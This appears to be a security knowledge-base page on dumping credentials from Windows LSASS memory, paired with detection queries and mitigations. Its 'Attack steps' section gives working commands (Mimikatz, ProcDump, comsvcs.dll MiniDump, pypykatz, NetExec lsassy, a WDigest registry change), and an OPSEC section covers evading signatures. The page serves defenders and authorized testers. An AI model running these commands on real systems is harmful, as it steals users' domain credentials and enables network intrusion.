How it works
The Local Security Authority Subsystem Service (lsass.exe) authenticates users and then keeps their credentials in memory for the life of the session, so that Windows can sign them in to file shares, mail and other services without asking again. Microsoft documents the forms that LSASS can hold: the NT hash, the LM hash where one exists, Kerberos tickets and keys, and a reversibly encrypted copy of the plaintext password for the providers that need one.
Anyone who can read that process memory can take the credentials out. Reading it needs the debug privilege (SeDebugPrivilege), which local administrators hold, or the SYSTEM account. So the attack turns administrator rights on one computer into the domain identities of everyone signed in there: this is the step that makes lateral movement through a network possible.
Which credentials are present depends on how each account logged on. Microsoft's logon type reference lists interactive (type 2), remote interactive or RDP (type 10), batch (type 4), service (type 5), NetworkCleartext (type 8) and NewCredentials (type 9) logons as leaving reusable credentials in the LSA session. A network logon (type 3), such as an SMB connection or a WinRM session without CredSSP, does not.
There are two ways to get at the memory:
- Read it live. A tool such as Mimikatz opens a handle to
lsass.exe, finds the credential structures of each authentication package and decrypts them in place. - Dump it and parse offline. The attacker writes a full memory dump of the process to a file with any tool that can create one, copies the file away and parses it on their own machine. Nothing credential-specific runs on the target.
WDigest and the cleartext downgrade
The WDigest provider (HTTP Digest authentication) needs the user's plaintext password, so older Windows versions kept it in LSASS for every interactive logon. Since Windows 8.1 and Windows Server 2012 R2, and on earlier versions with update KB2871997, WDigest keeps the password only if the registry value UseLogonCredential under HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest is 1.
An attacker with administrator rights can set that value. Nothing changes for sessions that already exist, but every eligible logon after the change stores a cleartext password again. The attacker sets the value, waits for (or provokes) a new logon, and dumps LSASS later. The registry value alone shows that retention was permitted; it does not show that a password was taken.
Prerequisites
- Local administrator or SYSTEM on the target computer.
- At least one session of interest on the host since the last restart. Servers that administrators manage over RDP, jump hosts, and machines running services under domain accounts are the valuable targets.
- LSA protection (
RunAsPPL) not enabled, or a way around it. With LSA protection, LSASS runs as a protected process and refuses handles from ordinary processes, including those of an administrator. - For domain hashes and ticket-granting tickets: Credential Guard not running. For cleartext passwords:
UseLogonCredentialset to 1 before the victim's logon.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Read credentials from the live process
From an elevated prompt on the target, Mimikatz takes the debug privilege and lists the credentials of every logon session:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
The output has one block per session with the user name, the domain, the NT hash under msv, Kerberos material under kerberos, and a password under wdigest when one is stored. Running as SYSTEM makes privilege::debug unnecessary.
2. Or dump the process and parse it elsewhere
ProcDump is a signed Sysinternals tool. -ma writes a full dump, which is what the parsers need:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
Windows has its own way to do the same through comsvcs.dll, with no extra binary. The command needs the process id of LSASS and must run as SYSTEM:
(Get-Process lsass).Id
rundll32 C:\windows\system32\comsvcs.dll MiniDump <LSASS_PID> C:\Windows\Temp\lsass.dmp full
Task Manager can also write the file: Details tab, right-click lsass.exe, Create dump file.
The dump is then parsed away from the target. With Mimikatz on a Windows machine of the same architecture:
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
With pypykatz on any platform:
pypykatz lsa minidump lsass.dmp
# Also export the Kerberos tickets found in the dump
pypykatz lsa minidump lsass.dmp -k tickets/
3. Or do it remotely
With administrator credentials for the target, NetExec's modules dump LSASS over SMB, bring the dump back and parse it locally:
nxc smb 192.0.2.30 -u administrator -p '<password>' -M lsassy
nxc smb 192.0.2.30 -u administrator -p '<password>' -M nanodump
# A local account instead of a domain account
nxc smb 192.0.2.30 -u administrator -p '<password>' --local-auth -M lsassy
4. Turn cleartext retention back on (optional)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Passwords appear only for logons that happen after the change, so this step is followed by waiting and a second dump.
5. Use what was found
An NT hash is used directly for pass the hash or turned into a Kerberos ticket with overpass the hash. A ticket-granting ticket is replayed with pass the ticket. A cleartext password works everywhere the account does, including services that do not accept a hash.
Impact
One compromised computer yields the identities of everyone who used it: credential theft at the point where credentials are most concentrated. If a Domain Admin signed in to a workstation or a member server to fix something, that single session is enough to take the domain. This is why tiered administration exists, and why the attack sits in the middle of most intrusions: compromise a host, dump LSASS, move to the next host with the best account found, repeat.
The NT hash of a domain account stays valid until the password changes, so the access outlasts the session it was stolen from. The other credential stores on the same host are covered in SAM, LSA secrets and cached domain credentials.
OPSEC and artifacts
- Not touching LSASS with a known tool. Operators avoid running Mimikatz on the target. They create a dump with a signed or built-in binary and parse it elsewhere. The handle is still opened: Sysmon event 10 (ProcessAccess) records the source image,
lsass.exeas the target and the access rights requested, and EDR products watch the same call. - Dump file on disk. A dump is tens to hundreds of megabytes and has to be written and then moved. Sysmon event 11 (FileCreate) records it;
.dmpfiles written byprocdump.exe,rundll32.exeortaskmgr.exein temporary folders are a classic indicator. Deleting the file afterwards does not remove the creation event. - Command lines.
procdump -ma lsass.exeandcomsvcs.dll MiniDumpare among the most heavily signatured command lines there are. Process creation auditing (event 4688 with command line logging, or Sysmon event 1) records them. Operators rename binaries and pass a process id instead of the namelsass, which defeats string matches but not the process access event. - WDigest change. Setting
UseLogonCredentialis a registry write: Sysmon event 13, or event 4657 where registry auditing and an audit entry on the key exist. The value stays set until someone removes it, and it is not present at all on a default installation. - Remote dumping. Doing this over the network adds a network logon (event 4624 type 3) with administrator privileges (event 4672), a remote execution trace such as a service or a scheduled task, and SMB transfer of the dump file.
- Kernel object auditing. Windows 10 and later have a default audit entry on
lsass.exe. With the Audit Kernel Object subcategory enabled, the Security log records handle requests to LSASS in events 4656 and 4663. - What no log shows. A process handle to LSASS does not say what was read. An unsigned or unfamiliar caller is a reason to investigate; the scope of the theft has to be assumed from which sessions existed on the host at that time.
Detection
Standard Windows logging sees little of this. Detection depends on Sysmon or an EDR product:
- Process access to LSASS (Sysmon event 10,
TargetImageending in\lsass.exe). Filter out the security products and system processes that legitimately open LSASS, then alert on any other source image. - WDigest value set (Sysmon event 13,
TargetObjectending in\WDigest\UseLogonCredential, value 1). There is almost no legitimate reason for this change. - Unexpected modules loaded into LSASS (Sysmon event 7), which also covers malicious security support providers.
- Dump-related command lines and files:
comsvcs.dlltogether withMiniDump,procdumpwith-maagainst LSASS, and.dmpfiles created outside the normal crash dump locations. - Use of the stolen credential. The pass the hash detection rules cover NTLM logons with accounts that should not be using NTLM.
// LSASS access, module loads into LSASS, and WDigest policy changes (Sysmon)
WindowsEvent
| where Provider == "Microsoft-Windows-Sysmon" and EventID in (7, 10, 13)
| extend Target = tostring(EventData.TargetObject),
Accessed = tostring(EventData.TargetImage),
Source = tostring(EventData.SourceImage),
Loader = tostring(EventData.Image)
| where (EventID == 10 and Accessed endswith @"\lsass.exe")
or (EventID == 7 and Loader endswith @"\lsass.exe")
or (EventID == 13 and Target endswith @"\WDigest\UseLogonCredential")
| summarize Records = count() by Computer, EventID, Source, bin(TimeGenerated, 15m)
Sysmon filters and coverage differ between hosts, so an empty result does not mean nothing happened. Review the individual source images and compare them with approved security tooling before escalating. When an access is confirmed, treat every account with a session on that host in the interval as exposed.
Mitigation
- Enable LSA protection so that LSASS runs as a protected process and refuses handles from non-protected processes. The LSA protection and Credential Guard guide covers audit mode, enforcement and rollback.
- Enable Credential Guard where the hardware and edition allow it. Domain NT hashes and ticket-granting tickets move out of reach of the normal operating system.
- Keep privileged accounts off lower-tier machines. A credential that is never on a host cannot be dumped from it. Domain administrators sign in only to domain controllers and dedicated administration workstations.
- Put privileged users in Protected Users. Members do not use NTLM, WDigest or CredSSP, and their plaintext credentials are not cached. See the Protected Users guide.
- Keep WDigest off and enforce it. Set
UseLogonCredentialto 0 by policy, so that a change is reverted and stands out, and monitor the value. - Remove local administrator rights and shared local passwords. The attack starts with administrator access to the host; Windows LAPS stops one local password from opening every machine.
- Use Restricted Admin mode or Remote Credential Guard for RDP, so that administrators' credentials are not left on the servers they connect to.
- Turn on the attack surface reduction rule that blocks credential stealing from LSASS, where Microsoft Defender is in use.
- Collect the telemetry. Deploy Sysmon or EDR process access monitoring, and enable process creation auditing with command lines as described in the audit policy guide.
Detection rules for this attack
Log events to collect
FAQ
What privileges does LSASS dumping need?
Local administrator rights on the computer, which give the debug privilege needed to open the LSASS process, or the SYSTEM account. An ordinary user cannot read LSASS memory. With LSA protection enabled, even an administrator is refused unless the attacker first loads a kernel driver or disables the protection.
Can cleartext passwords still be read from LSASS?
Not by default on Windows 8.1, Windows Server 2012 R2 and later, where WDigest does not keep the password. They come back if an attacker sets the UseLogonCredential registry value to 1: every interactive logon after that change leaves a cleartext password in memory. NT hashes and Kerberos tickets are present either way.
Does Credential Guard stop LSASS dumping?
It stops the theft of domain NT hashes and Kerberos ticket-granting tickets, because those secrets move into an isolated process that the normal operating system cannot read. It does not protect local accounts, and it does not stop an attacker with administrator rights from capturing credentials as they are typed.
Whose credentials are at risk on a compromised computer?
Everyone with an interactive, remote interactive, batch or service session on it since the last restart: the user at the console, administrators who connected with Remote Desktop, and the accounts of services and scheduled tasks. A network logon, such as opening a file share, leaves no reusable credential behind.
References
- OS Credential Dumping: LSASS Memory, T1003.001 (MITRE ATT&CK)
- Configure added LSA protection (Microsoft Learn)
- Microsoft Security Advisory 2871997: Update to Improve Credentials Protection and Management
- Credentials processes in Windows authentication (Microsoft Learn)
- Administrative tools and logon types (Microsoft Learn)
- Mimikatz wiki: sekurlsa module
- Sysmon (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.